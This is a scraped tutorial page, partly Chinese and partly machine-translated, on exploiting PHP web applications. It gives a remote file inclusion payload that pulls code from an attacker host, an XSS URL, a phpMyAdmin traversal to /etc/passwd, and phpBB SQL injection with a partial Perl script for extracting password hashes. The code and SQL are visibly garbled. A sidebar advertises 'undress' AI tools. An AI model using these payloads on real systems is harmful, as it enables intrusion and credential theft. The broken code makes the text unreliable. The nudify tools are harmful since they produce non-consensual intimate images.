


PHP page vulnerability analysis and related problem solving_PHP tutorial
从现在的网络安全来看,大家最关注和接触最多的WEB页面漏洞应该是ASP了,在这方面,小竹是专家,我没发言权。然而在PHP方面来看,也同样存在很严重的安全问题,但是这方面的文章却不多。在这里,就跟大家来稍微的讨论一下PHP页面的相关漏洞吧。
我对目前常见的PHP漏洞做了一下总结,大致分为以下几种:包含文件漏洞,脚本命令执行漏洞,文件泄露漏洞,SQL注入漏洞等几种。当然,至于COOKIE欺骗等一部分通用的技术就不在这里讨论了,这些资料网上也很多。那么,我们就一个一个来分析一下怎样利用这些漏洞吧!
首先,我们来讨论包含文件漏洞。这个漏洞应该说是PHP独有的吧。这是由于不充分处理外部提供的恶意数据,从而导致远程攻击者可以利用这些漏洞以WEB进程权限在系统上执行任意命令。我们来看一个例子:假设在a.php中有这样一句代码:
以下是引用片段:
include($include."/xxx.php");
?>
在这段代码中,$include一般是一个已经设置好的路径,但是我们可以通过自己构造一个路径来达到攻击的目的。比方说我们提交:a.php?include=http://web/b.php,这个web是我们用做攻击的空间,当然,b.php也就是我们用来攻击的代码了。我们可以在b.php中写入类似于:passthru("/bin/ls /etc");的代码。这样,就可以执行一些有目的的攻击了。(注:Web服务器应该不能执行php代码,不然就出问题了。相关详情可以去看<<如何对PHP程序中的常见漏洞进行攻击>>)。在这个漏洞方面,出状况的很多,比方说:PayPal Store Front,HotNews,Mambo Open Source,PhpDig,YABB SE,phpBB,InvisionBoard,SOLMETRA SPAW Editor,Les Visiteurs,PhpGedView,X-Cart等等一些。
接着,我们再来看一下脚本命令执行漏洞。这是由于对用户提交的URI参数缺少充分过滤,提交包含恶意HTML代码的数据,可导致触发跨站脚本攻击,可能获得目标用户的敏感信息。我们也举个例子:在PHP Transparent的PHP PHP 4.3.1以下版本中的index.php页面对PHPSESSID缺少充分的过滤,我们可以通过这样的代码来达到攻击的目的:http://web/index.php?PHPSESSID=">在script里面我们可以构造函数来获得用户的一些敏感信息。在这个漏洞方面相对要少一点,除了PHP Transparent之外还有:PHP-Nuke,phpBB,PHP Classifieds,PHPix,Ultimate PHP Board等等。
再然后,我们就来看看文件泄露漏洞了,这种漏洞是由于对用户提交参数缺少充分过滤,远程攻击者可以利用它进行目录遍历攻击以及获取一些敏感信息。我们拿最近发现的phpMyAdmin来做例子。在phpMyAdmin中,export.php页面没有对用户提交的'what'参数进行充分过滤,远程攻击者提交包含多个'../'字符的数据,便可绕过WEB ROOT限制,以WEB权限查看系统上的任意文件信息。比方说打入这样一个地址:export.php?what=../../../../../../etc/passwd%00 就可以达到文件泄露的目的了。在这方面相对多一点,有:myPHPNuke,McNews等等。
最后,我们又要回到最兴奋的地方了。想想我们平时在asp页面中用SQL注入有多么爽,以前还要手动注入,一直到小竹悟出"SQL注入密笈"(嘿嘿),然后再开做出NBSI以后,我们NB联盟真是拉出一片天空。曾先后帮CSDN,大富翁论坛,中国频道等大型网站找出漏洞。(这些废话不多说了,有点跑题了...)。
还是言规正传,其实在asp中SQL的注入和php中的SQL注入大致相同,只不过稍微注意一下用的几个函数就好了。将asc改成ASCII,len改成LENGTH,其他函数基本不变了。其实大家看到PHP的SQL注入,是不是都会想到PHP-NUKE和PHPBB呢?不错,俗话说树大招分,像动网这样的论坛在asp界就该是漏洞这王了,这并不是说它的论坛安全太差,而是名气太响,别人用的多了,研究的人也就多了,发现的安全漏洞也就越多了。PHPBB也是一样的,现在很大一部分人用PHP做论坛的话,一般都是选择了PHPBB。它的漏洞也是一直在出,从最早phpBB.com phpBB 1.4.0版本被人发现漏洞,到现在最近的phpBB 2.0.6版本的groupcp.php,,以及之前发现的search.php,profile.php,viewtopic.php等等加起来,大概也有十来个样子吧。这也一直导致,一部分人在研究php漏洞的时候都会拿它做实验品,所谓百练成精嘛,相信以后的PHPBB会越来越好。
Okay, let’s analyze the reasons for the vulnerability. Take the viewtopic.php page as an example. When calling viewtopic.php, the "topic_id" is obtained directly from the GET request and passed to the SQL query command without any filtering. The attacker can submit a special SQL string. Used to obtain the MD5 password. Obtaining this password information can be used for automatic login or brute force cracking. (I think no one would want to brute force it, unless there is a particularly important reason). Let’s take a look at the relevant source code first:
The following is a quotation fragment:
# if(isset($HTTP_GET_VARS[POST_TOPIC_URL]))
# {
# $topic_id=intval($HTTP_GET_VARS[POST_TOPIC_URL]);
🎜>
# $topic_id=intval($HTTP_GET_VARS['topic']); If the value is obtained, the executed query code will look like the following (if you haven’t seen the PHPBB source code yet, it is recommended that you read it and then look here. The affected systems are: phpBB 2.0.5 and phpBB 2.0.4 ).The following is a quote fragment:
# $sql = "SELECT p.post_id
# FROM " . POSTS_TABLE . " p, " . SESSIONS_TABLE . " s , " . USERS_TABLE . " u
# WHERE s.session_id = '$session_id'
p.topic_id = $ Topic_id
#and P.post_time & GT; = U.User_lastvisit
#Order by P.post_time ASC
#Limit 1 "; The following test code is provided: use IO::Socket; $remote = shift || 'localhost'; $view_topic = shift || /phpBB2/viewtopic.php'; $uid = shift || 2; $port = 80; $dBType = 'mysql4'; # mysql4 or pgsql print "Trying to get password hash for uid $uid server $remote dbtype: $dBType "; $p = ""; for($index=1 ; $index<=32; $index++) { $socket = IO::Socket::INET->new(PeerAddr => $remote, PeerPort => $port, Proto => "tcp", Type => SOCK_STREAM) or die "Couldnt connect to $remote:$ port: $@ "; $str = "GET $view_topic" . "?sid=1&topic_id=-1" . random_encode(make_dbsql()) . "&view=newest" . " HTTP/1.0 "; print $socket $str;print $socket "Cookie: phpBB2mysql_sid=1 "; remote "; while ($answer = <$socket>) { if ($answer =~ /location:.*x23(d+)/) # Matches the location: viewtopic.php?p=
#
{ $p .= chr (); } } close($socket); }{ $c = substr($str,$i,1); $j = rand length($str) * 1000; if (int($j) % 2 || $c eq ' ') {
http://www.bkjia.com/PHPjc/446957.html www.bkjia.com true http: //www.bkjia.com/PHPjc/446957.html TechArticle From the current network security point of view, the WEB page vulnerability that everyone is most concerned about and exposed to should be ASP. In this regard, Xiaozhu is an expert, I have no say. However, from the perspective of PHP, it is also the same...

Hot AI Tools

Undresser.AI Undress
AI-powered app for creating realistic nude photos

AI Clothes Remover
Online AI tool for removing clothes from photos.

Undress AI Tool
Undress images for free

Clothoff.io
AI clothes remover

Video Face Swap
Swap faces in any video effortlessly with our completely free AI face swap tool!

Hot Article

Hot Tools

Notepad++7.3.1
Easy-to-use and free code editor

SublimeText3 Chinese version
Chinese version, very easy to use

Zend Studio 13.0.1
Powerful PHP integrated development environment

Dreamweaver CS6
Visual web development tools

SublimeText3 Mac version
God-level code editing software (SublimeText3)

Hot Topics











PHP is a scripting language widely used on the server side, especially suitable for web development. 1.PHP can embed HTML, process HTTP requests and responses, and supports a variety of databases. 2.PHP is used to generate dynamic web content, process form data, access databases, etc., with strong community support and open source resources. 3. PHP is an interpreted language, and the execution process includes lexical analysis, grammatical analysis, compilation and execution. 4.PHP can be combined with MySQL for advanced applications such as user registration systems. 5. When debugging PHP, you can use functions such as error_reporting() and var_dump(). 6. Optimize PHP code to use caching mechanisms, optimize database queries and use built-in functions. 7

PHP and Python each have their own advantages, and the choice should be based on project requirements. 1.PHP is suitable for web development, with simple syntax and high execution efficiency. 2. Python is suitable for data science and machine learning, with concise syntax and rich libraries.

PHP and Python each have their own advantages, and choose according to project requirements. 1.PHP is suitable for web development, especially for rapid development and maintenance of websites. 2. Python is suitable for data science, machine learning and artificial intelligence, with concise syntax and suitable for beginners.

PHP is widely used in e-commerce, content management systems and API development. 1) E-commerce: used for shopping cart function and payment processing. 2) Content management system: used for dynamic content generation and user management. 3) API development: used for RESTful API development and API security. Through performance optimization and best practices, the efficiency and maintainability of PHP applications are improved.

PHP is still dynamic and still occupies an important position in the field of modern programming. 1) PHP's simplicity and powerful community support make it widely used in web development; 2) Its flexibility and stability make it outstanding in handling web forms, database operations and file processing; 3) PHP is constantly evolving and optimizing, suitable for beginners and experienced developers.

PHP is mainly procedural programming, but also supports object-oriented programming (OOP); Python supports a variety of paradigms, including OOP, functional and procedural programming. PHP is suitable for web development, and Python is suitable for a variety of applications such as data analysis and machine learning.

PHP is suitable for web development, especially in rapid development and processing dynamic content, but is not good at data science and enterprise-level applications. Compared with Python, PHP has more advantages in web development, but is not as good as Python in the field of data science; compared with Java, PHP performs worse in enterprise-level applications, but is more flexible in web development; compared with JavaScript, PHP is more concise in back-end development, but is not as good as JavaScript in front-end development.

PHP and Python have their own advantages and disadvantages, and the choice depends on project needs and personal preferences. 1.PHP is suitable for rapid development and maintenance of large-scale web applications. 2. Python dominates the field of data science and machine learning.
